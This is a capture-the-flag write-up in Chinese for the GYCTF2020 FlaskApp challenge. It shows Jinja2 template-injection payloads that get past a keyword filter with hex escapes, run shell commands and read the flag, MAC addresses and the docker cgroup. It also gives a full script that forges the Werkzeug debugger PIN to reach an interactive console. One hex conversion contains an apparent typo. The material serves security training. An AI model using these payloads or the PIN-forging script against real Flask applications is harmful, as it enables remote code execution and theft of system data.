GYCTF2020-FlaskApp&Flask pin码伪造

随便输点什么,让程序报错

1
2
3
4
5
6
7
8
9
10
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

发现有render_template_string,尝试模板注入.

尝试{{8*8}}发现被过滤了.但是{{1+1}}可以

然后逐个测试发现过滤了 * os popen

用下面的可以bypass

1
{{ config.__class__.__init__.__globals__['\x6f\x73'].__getattribute__('\x70\x6f\x70\x65\x6e')('ls /').read() }} 

然后非预期了=.=

1
{{ config.__class__.__init__.__globals__['\x6f\x73'].__getattribute__('\x70\x6f\x70\x65\x6e')('cat /this_is_the_fla""g.txt').read() }} 

尝试下预期解,即通过推测flask PIN码值来getshell.解出pin码需要六个变量,执行上面的命令可分别得到

获取mac地址 发现有两个,可以逐个尝试,(一般为eth0)

1
2
3
4
5
6
{{ config.__class__.__init__.__globals__['\x6f\x73'].__getattribute__('\x70\x6f\x70\x65\x6e')('ls /sys/class/net').read() }} 
=> eth0 eth2 lo
{{ config.__class__.__init__.__globals__['\x6f\x73'].__getattribute__('\x70\x6f\x70\x65\x6e')('cat /sys/class/net/eth0/address').read() }}
=> 02:42:ac:10:bb:49 => print(0x0242ac10bb4a9) => 2485377874761
{{ config.__class__.__init__.__globals__['\x6f\x73'].__getattribute__('\x70\x6f\x70\x65\x6e')('cat /sys/class/net/eth2/address').read() }}
=> 52:54:00:92:05:19 => 90520740300057

docker机器id :

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。
对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id

1
2
3
{{ config.__class__.__init__.__globals__['\x6f\x73'].__getattribute__('\x70\x6f\x70\x65\x6e')('cat /proc/self/cgroup').read() }} 
=>
12:blkio:/docker/65b80ff4920dd1ae0f9421d925d4c71a402723842b43120c9dbf76c88c2828e2 ... ...

然后根据下面脚本推算pin码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377874761',# str(uuid.getnode()), /sys/class/net/ens33/address
'65b80ff4920dd1ae0f9421d925d4c71a402723842b43120c9dbf76c88c2828e2'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

运行脚本得到 226-086-217 ,然后开启上帝模式

image.png

参考 https://xz.aliyun.com/t/2553#toc-2